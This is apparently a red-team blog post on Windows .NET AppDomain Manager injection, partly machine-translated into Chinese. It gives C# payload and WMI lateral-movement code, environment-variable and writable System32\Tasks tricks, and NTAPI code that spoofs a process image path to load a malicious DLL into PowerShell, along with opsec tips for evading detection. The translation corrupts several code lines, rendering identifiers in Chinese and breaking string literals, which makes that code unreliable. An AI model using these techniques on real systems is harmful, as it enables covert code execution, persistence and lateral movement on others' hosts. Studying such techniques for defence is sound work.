Last updated at Fri, 05 May 2023 20:03:24 GMT

AppDomain Manager注入是红队操作人员非常通用和有用的技术. 这种技术允许您有效地转换任何Microsoft.. NET应用程序在Windows主机上通过强制应用程序加载一个特制的 .NET assembly, using its assembly full name.

This technique is not new, 早在2020年,一个名为GhostLoader的PoC就发布了. 在相当长的一段时间里,它作为初始访问负载对Rapid7红队非常有用, lateral movement payload, and even for various persistence methods. 然而,某些AppDomain Manager注入技术存在缺陷,可能会限制其用途.

这篇文章将展示在红队操作期间执行和利用AppDomain Manager注入的各种方法,包括减轻与早期AppDomain Manager注入方法相关的缺陷的技术.

AppDomain Manager Injection Triggers

There are two ways to trigger this technique. 方法中创建配置文件并指定AppDomain Manager库程序集名称和类型 appdomainManagerAssembly and appdomainManagerType properties. 第二种方法涉及设置三个流程环境变量 APPDOMAIN_MANAGER_ASM, APPDOMAIN_MANAGER_TYPE, and COMPLUS_VERSION.

Regardless of the trigger used, 一旦配置文件就位或设置了环境变量, CLR将提供的程序集加载到目标进程的内存中, 允许您在目标进程中执行恶意代码. To demonstrate this technique, 我们将使用修改后的AppDomain Manager注入有效负载:

using System;
using System.EnterpriseServices;
using System.Runtime.InteropServices;
using System.Diagnostics;
 
public sealed class MyAppDomainManager : AppDomainManager
{
    
    InitializeNewDomain(AppDomainSetup)
    {  
         
        bool res = ClassExample.Execute();
          
        return;
    }
}
  
public class ClassExample
{          
         
    public static bool Execute()
    {
        System.Windows.Forms.MessageBox.Show("Hello From: " + Process.GetCurrentProcess().ProcessName);
    return true;
    }
}

Compile this code with the C# compiler csc /platform:x64 /target:library AppDomInject.cs.

Trigger Via Configuration File

要使用第一个触发器执行AppDomain Manager注入,我们将复制一个 .. NET应用程序放到当前用户可写的文件夹中. In this case, we copy UevAppMonitor.exe from the C:\Windows\Sytem32 folder into the folder C:\Test . Once UevAppMonitor.exe 移动到一个可写的位置,我们创建一个应用程序配置文件称为 UevAppMonitor.exe.config with the following contents:


   
      
         
      
       
       
   

We then execute UevAppMonitor.exe 并观察AppDomain Manager库加载并执行:

Trigger Via Environment Variables

As mentioned above, 通过设置一些指示CLR加载指定库的环境变量,也可以在没有配置文件的情况下触发该技术. 要在不使用配置文件的情况下触发此技术,只需设置以下环境变量并重新执行 UevAppMonitor.exe process.

set APPDOMAIN_MANAGER_ASM=AppDomInject, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
set APPDOMAIN_MANAGER_TYPE=MyAppDomainManager
set COMPLUS_Version=v4.0.30319

这两种方法都可以触发AppDomain Manager注入, both have obvious flaws. First, both methods require you to either know about a .NET application that exists in a writable folder. And second, 它们都要求您将可执行文件从原始文件夹移到新文件夹中. Additionally, 敏锐的防御者可能会注意到配置文件被放在磁盘上,并被绑定到AppDomain Manager Injection.

我们可以减轻这些缺陷的一种方法是简单地将恶意DLL放在磁盘上的可写位置,并强制应用程序加载DLL,同时继续在其本机文件夹中运行. To accomplish this, we will again use UevAppMonitor.exe which exists in C:\Windows\System32, a non-writable folder for standard users. 这利用了公共语言运行库(CLR)在尝试通过程序集全名加载程序集时搜索程序集的方式. 有充分的文档证明,这种技术绕过了图像加载事件,不会出现在sysmon中的事件ID 7下. 这是因为目标应用程序没有以标准的Windows方式使用函数加载DLL,例如 LoadLibrary(). Instead, CLR意识到我们不想在这个过程中使用默认的AppDomain Manager, 并尝试按其程序集全名反射加载目标程序集, which is what is being supplied in the APPDOMAIN_MANAGER_ASM environment variable and the appdomainManagerAssembly XML property.

Before we demonstrate how to force UevAppMonitor.exe to load our malicious DLL from within System32, 让我们首先看一下CLR在按程序集全名加载程序集时的行为. In this scenario, TestLoad.exe will simply attempt to load an assembly test.exe by using the assembly's full name test, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null.

在搜索要加载的程序集时,CLR将检查以下位置. 首先,CLR检查程序集是否存在于映像路径的目录中,在本例中, C:\Test\TestLoad\. 然后CLR将查看该程序集是否存在于映像路径的目录中, inside a folder that is the same name of the assembly. So, in this example, the CLR will look for test.exe in C:\Test\TestLoad\Test\test.exe. First, we execute TestLoad.exe while test.exe is in the same folder, then we move test.exe into C:\Test\TestLoad\Test\ and re-rerun TestLoad.exe. 在这两种情况下,程序集都被加载,如下所示:

Following this logic, to get UevAppMonitor.exe 加载恶意DLL,我们只需要将恶意DLL放入一个可写文件夹 C:\Windows\System32\. Luckily, C:\Windows\System32\Tasks, exists, and is a world writable folder. 然后,我们重新编译AppDomain Manager Injection DLL,并指定命名生成的DLL Tasks.dll. With that complete, we can place the newly created Tasks.dll into C:\Windows\System32\Tasks\ 并重新配置所需的环境变量以搜索任务程序集:

set APPDOMAIN_MANAGER_ASM=Tasks, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
set APPDOMAIN_MANAGER_TYPE=MyAppDomainManager
set COMPLUS_Version=v4.0.30319

Once configured, execute C:\Windows\System32\UevAppMonitor.exe 并观察到恶意的AppDomain Manager DLL已成功加载到目标进程中:

AppDomain Manager Injection for Lateral Movement

现在,让我们探索应用AppDomain Manager注入的一些不同方法. 首先,我们可以很容易地应用上述触发器来利用AppDomain Manager Injection for lateral movement, which has been successful for the Rapid7 red team. 此外,通过执行映像路径欺骗,我们可以强制任何 .. NET应用程序在磁盘上从任意位置加载恶意DLL.

横向移动技术依赖于结合WMI和AppDomain Manager Injection来强制远程系统上的进程加载恶意DLL. 与大多数横向移动技术一样,需要目标系统的Administrator权限. Using the information outlined above, 构建一个允许您通过WMI执行AppDomain Manager注入的有效负载是很简单的. 下面的c#代码可以用来执行这个技术:

using System;
using System.Management;
using System.Diagnostics;
using System.Collections;
using System.Collections.Specialized;
 
namespace Program
{
    public class WmiCommand
    {
        public static void Main(string[] args)
        {
            ConnectionOptions conOptions = new ConnectionOptions();
 
            if(args.Length > 2)
            {
                conOptions.Username = args[2];
                conOptions.Password = args[3];
            }
            conOptions.Impersonation = ImpersonationLevel.Impersonate;
            conOptions.EnablePrivileges = true;
            ManagementScope manScope = new ManagementScope(string.Format("\\\\{0}\\ROOT\\CIMV2", args[0]), conOptions);
            manScope.Connect();
            ObjectGetOptions options = new ObjectGetOptions();
            管理路径=新的管理路径("Win32_Process");
            ManagementClass manClass = new ManagementClass(manScope, path, options);
            管理路径startupPath =新的管理路径("Win32_ProcessStartup");
            管理类processStartupClass =新的管理类(manScope,startupPath,选项);
            管理对象processStartupInstance = processStartupClass.CreateInstance();
            Process process = Process.GetCurrentProcess();
            process.StartInfo.EnvironmentVariables.Add("APPDOMAIN_MANAGER_ASM","Tasks, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null");
            process.StartInfo.EnvironmentVariables.Add("APPDOMAIN_MANAGER_TYPE","MyAppDomainManager");
            process.StartInfo.EnvironmentVariables.Add("COMPLUS_VERSION","v4.0.30319");
            String[] env = new String[process.StartInfo.EnvironmentVariables.Count];
            int i = 0;
            foreach ( DictionaryEntry de in process.StartInfo.EnvironmentVariables)
            {
                string envVar = String.Format("{0}={1}",de.Key,de.Value);
                env[i] = envVar;
                i++;
            }
 
            processStartupInstance["EnvironmentVariables"] = env;
            ManagementBaseObject methodParams = manClass.GetMethodParameters("Create");
            methodParams["CommandLine"] = args[1];
            methodParams["ProcessStartupInformation"] = processStartupInstance;
 
            ManagementBaseObject manBase = manClass.InvokeMethod("Create", methodParams, null);
            Console.WriteLine(string.格式("进程返回:{0}\nPID: {1}", manBase["returnValue"].ToString(), manBase["processId".ToString()]));
 
        }
    }
}

The code takes in the remote host, process to create, and an optional username / password combination. 要触发注入,我们将恶意DLL放入 C:\WIndows\System32\Tasks\ folder utilizing SMB. 然后,我们可以通过WMI执行编译好的c#程序来创建进程. c#代码首先将当前进程环境块复制到一个字符串数组中, 然后添加触发AppDomain Manager Injection所需的环境变量. The environment block is then passed into the Win32_ProcessStartup WMI class:

[摘要,UUID("{8502C4DB-5FBB-11D2-AAC1-006008C78BC7}"),修订]
class Win32_ProcessStartup : Win32_MethodParameterClass
{
  uint32 CreateFlags;
  string EnvironmentVariables[];
  uint16 ErrorMode = 1;
  uint32 FillAttribute;
  uint32 PriorityClass;
  uint16 ShowWindow;
  string Title;
  string WinstationDesktop;
  uint32 X;
  uint32 XCountChars;
  uint32 XSize;
  uint32 Y;
  uint32 YCountChars;
  uint32 YSize;
};

The entire Win32_ProcessStartup class will then be passed to the Win32_Process 类,它包含Create方法,该方法最终将被调用以启动目标进程:

[Dynamic, Provider("CIMWin32"), SupportsCreate, CreateBy("Create"), SupportsDelete, DeleteBy("DeleteInstance"), UUID("{8502C4DC-5FBB-11D2-AAC1-006008C78BC7}"), DisplayName("Processes"), AMENDMENT]
class Win32_Process : CIM_Process
{
  string   CreationClassName;
  string   Caption;
  string   CommandLine;
  datetime CreationDate;
  string   CSCreationClassName;
  string   CSName;
  string   Description;
  string   ExecutablePath;
  uint16   ExecutionState;
  string   Handle;
  uint32   HandleCount;
  datetime InstallDate;
  uint64   KernelModeTime;
  uint32   MaximumWorkingSetSize;
  uint32   MinimumWorkingSetSize;
  string   Name;
  string   OSCreationClassName;
  string   OSName;
  uint64   OtherOperationCount;
  uint64   OtherTransferCount;
  uint32   PageFaults;
  uint32   PageFileUsage;
  uint32   ParentProcessId;
  uint32   PeakPageFileUsage;
  uint64   PeakVirtualSize;
  uint32   PeakWorkingSetSize;
  uint32   Priority;
  uint64   PrivatePageCount;
  uint32   ProcessId;
  uint32   QuotaNonPagedPoolUsage;
  uint32   QuotaPagedPoolUsage;
  uint32   QuotaPeakNonPagedPoolUsage;
  uint32   QuotaPeakPagedPoolUsage;
  uint64   ReadOperationCount;
  uint64   ReadTransferCount;
  uint32   SessionId;
  string   Status;
  datetime TerminationDate;
  uint32   ThreadCount;
  uint64   UserModeTime;
  uint64   VirtualSize;
  string   WindowsVersion;
  uint64   WorkingSetSize;
  uint64   WriteOperationCount;
  uint64   WriteTransferCount;
};

对于System32内部的程序集,不需要执行此技术, 因为能够在远程进程上编写和执行WMI需要管理员权限. 这允许我们在第三方内部加载程序集 .程序文件文件夹内的。NET应用程序,或者可能是内部的 .NET application that is installed on all hosts.

AppDomain Manager Injection Anywhere On Disk

As mentioned, it is possible to force any .. NET进程从磁盘上的任意位置加载恶意的AppDomain管理器程序集. This is performed via ImageName Spoofing. Researcher Octoberfest7, wrote on Twitter about using the RtlCreateProcessParametersEx and RtlCreateUserProcess napi用于欺骗Windows可执行文件的Image加载路径,使其看起来好像是从其他地方执行的. 然后,另一位研究人员snovcrash发布了关于如何实现此效果的概念验证代码.

After seeing this, Rapid7的研究人员立即想到这将如何影响AppDomain Manager Injection等技术. 例如,我们是否可以欺骗和图像路径名称来欺骗任何 .NET assembly on disk to load our malicious DLL? 这将绕过需要目标程序集存在于用户可写文件夹中的要求,并允许我们针对程序集,例如 powershell or anything in the C:\Windows\Microsoft.NET\Framework64 folder. 我们发现这是可能的,因为Windows搜索AppDomain管理器DLL的方式.

As noted above, when searching for an assembly via its full name, the CLR will search for the assembly off of the ImagePathName value in the RTL_USER_PROCESS_PARAMETERS structure. We can use the RtlCreateProcessParametersEx NTAPI to populate the RTL_USER_PROCESS_PARAMETERS with a spoofed ImagePathName. RtlCreateProcessParametersEx has the following function definition:

typedef NTSTATUS (NTAPI *_RtlCreateProcessParametersEx)(
    _Out_ PRTL_USER_PROCESS_PARAMETERS *pProcessParameters,
    _In_ PUNICODE_STRING ImagePathName,
    _In_opt_ PUNICODE_STRING DllPath,
    _In_opt_ PUNICODE_STRING CurrentDirectory,
    _In_opt_ PUNICODE_STRING CommandLine,
    _In_opt_ PVOID Environment,
    _In_opt_ PUNICODE_STRING WindowTitle,
    _In_opt_ PUNICODE_STRING DesktopInfo,
    _In_opt_ PUNICODE_STRING ShellInfo,
    _In_opt_ PUNICODE_STRING RuntimeData,
    _In_ ULONG Flags
);

This function is responsible for populating the PRTL_USER_PROCESS_PARAMETERS structure which will be passed on to the RtlCreateUserProcess function. The PRTL_USER_PROCESS_PARAMETERS structure is defined here:

typedef struct _RTL_USER_PROCESS_PARAMETERS
{
    ULONG MaximumLength;
    ULONG Length;
 
    ULONG Flags;
    ULONG DebugFlags;
 
    HANDLE ConsoleHandle;
    ULONG ConsoleFlags;
    HANDLE StandardInput;
    HANDLE StandardOutput;
    HANDLE StandardError;
 
    CURDIR CurrentDirectory;
    UNICODE_STRING DllPath;
    UNICODE_STRING ImagePathName;
    UNICODE_STRING CommandLine;
    PVOID Environment;
 
    ULONG StartingX;
    ULONG StartingY;
    ULONG CountX;
    ULONG CountY;
    ULONG CountCharsX;
    ULONG CountCharsY;
    ULONG FillAttribute;
 
    ULONG WindowFlags;
    ULONG ShowWindowFlags;
    UNICODE_STRING WindowTitle;
    UNICODE_STRING DesktopInfo;
    UNICODE_STRING ShellInfo;
    UNICODE_STRING RuntimeData;
    RTL_DRIVE_LETTER_CURDIR CurrentDirectories [RTL_MAX_DRIVE_LETTERS];
 
    ULONG EnvironmentSize;
    ULONG EnvironmentVersion;
    PVOID PackageDependencyData;
    ULONG ProcessGroupId;
} rtl_user_process_parameters, * prtl_user_process_parameters;

As mentioned, the populated RTL_USER_PROCESS_PARAMETERS structure will then be passed on to the RtlCreateUserProcess NTAPI call:

typedef NTSTATUS (NTAPI *_RtlCreateUserProcess)(
    _In_ PUNICODE_STRING NtImagePathName,
    _In_ ULONG AttributesDeprecated,
    _In_ PRTL_USER_PROCESS_PARAMETERS ProcessParameters,
    _In_opt_ PSECURITY_DESCRIPTOR ProcessSecurityDescriptor,
    _In_opt_ PSECURITY_DESCRIPTOR ThreadSecurityDescriptor,
    _In_opt_ HANDLE ParentProcess,
    _In_ BOOLEAN InheritHandles,
    _In_opt_ HANDLE DebugPort,
    _In_opt_ HANDLE TokenHandle,
    _Out_ PRTL_USER_PROCESS_INFORMATION ProcessInformation
);

Now we need to populate the PRTL_USER_PROCESS_PARAMETERS structure. To start, the ImagePathName, CommandLine, and Environment parameters for RtlCreateProcessParametersEx :

wchar_t chNewEnv[BUFSIZE];
LPWSTR lpszCurrentVariable;
lpszCurrentVariable = (LPWSTR) chNewEnv;
 
wcscpy (lpszCurrentVariable L“APPDOMAIN_MANAGER_ASM = AppDomInject版本= 0.0.0.0, Culture=neutral, PublicKeyToken=null");
lpszCurrentVariable += lstrlenW(lpszCurrentVariable) + 1;
wcscpy (lpszCurrentVariable, L“APPDOMAIN_MANAGER_TYPE = MyAppDomainManager”);
lpszCurrentVariable += lstrlenW(lpszCurrentVariable) + 1;
wcscpy(lpszCurrentVariable,L"COMPLUS_Version=v4.0.30319");
lpszCurrentVariable += lstrlenW(lpszCurrentVariable) + 1;
*lpszCurrentVariable = (wchar_t)0;
 
UNICODE_STRING spoofedImagePathName;
pRtlInitUnicodeString(&spoofedImagePathName,L"\\??\\C:\\Test\\powershell.exe");
UNICODE_STRING currentDirectory;
pRtlInitUnicodeString(&currentDirectory, L " C: \ \ Windows \ \ system32系统\ \ WindowsPowerShell \ \ v1.0\\");
UNICODE_STRING commandLine;
pRtlInitUnicodeString(&命令行,L " \ " C: \ \ Windows \ \ system32系统\ \ WindowsPowerShell \ \ v1.0\\PowerShell.exe\"");

The ImagePathName and CommandLine 参数是简单的Unicode字符串,并使用 RtlInitUnicodeString . The Environment parameter是一个指针,指向格式为的Unicode字符串集合 VARNAME=VALUE . In this instance, the process created via RtlCreateUserProcess will only have the APPDOMAIN_MANAGER_ASM, APPDOMAIN_MANAGER_TYPE, and COMPLUS_VERSION variables set. 显然,从opsec的角度来看,这是不现实的.

To remedy this, a pointer to the current processes Environment block can be retrieved with the GetEnvironmentStrings() WINAPI call. Once populated, a pointer to the created Environment block can be passed onto the RtlCreateProcessParameters NTAPI along with the ImagePathName and CommandLine parameters:

NTSTATUS status = pRtlCreateProcessParametersEx(
        &processParams,
        &spoofedImagePathName,
        NULL,
        &commandLine,
        NULL,
        (PVOID)chNewEnv,
        NULL,
        NULL,
        NULL,
        NULL,
        RTL_USER_PROC_PARAMS_NORMALIZED
    );

现在剩下的就是填充一个Unicode字符串,其中包含要创建和传递的过程 processParams structure to the RtlCreateUserProcess NTAPI:

UNICODE_STRING imagePathName;
pRtlInitUnicodeString(&imagePathName,L"\\??\\C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe");
status = pRtlCreateUserProcess(
    &imagePathName,
    0,
    processParams,
    NULL,
    NULL,
    GetCurrentProcess(),
    TRUE,
    NULL,
    NULL,
    &processInfo
);

这个调用非常简单,一个新的进程,由 ImagePathName 参数指定的参数将被创建 PRTL_USER_PROCESS_PARAMS structure. Due to the spoofing of the ImagePathName in the parameters structure, the newly created Powershell.exe process will run with the spoofed image path, C:\Test\powershell.exe . Additionally, 该进程将使用我们指定的环境块创建, 这将触发新创建的Powershell进程尝试加载AppDomain Manager Library中指定的 APPDOMAIN_MANAGER_ASM environment variable.

As mentioned previously, 然后,Powershell进程将在目录中指定的文件夹中搜索库 ImagePathName. Normally, this would have Powershell search in the C:\Windows\System32\WindowsPowerShell\v1.0\. However, since this process was created with a spoofed ImagePathName , Powershell instead looks for the DLL in the directory C:\Test\. 一旦执行,Powershell进程将启动并加载AppDomain Manager库:

Conclusion

As demonstrated, AppDomain Manager注入对于红队操作员来说是一项非常强大的技术,可以服务于各种用例. 运营商可以选择在初始访问有效负载中打包AppDomain Manager dll, perform lateral movement, 甚至可以通过计划任务或服务二进制文件等方法利用此方法实现持久性.

操作人员应该记住,由于此技术需要使用 .. NET程序集,标准的opsec实践应应用于AppDomain管理器DLL. For example, DLL将受到Windows反恶意软件扫描接口(AMSI)的扫描,程序集将通过Windows事件跟踪(ETW)进行记录。.

References / Acknowledgements

感谢下面所有的研究人员和任何我可能错过的人: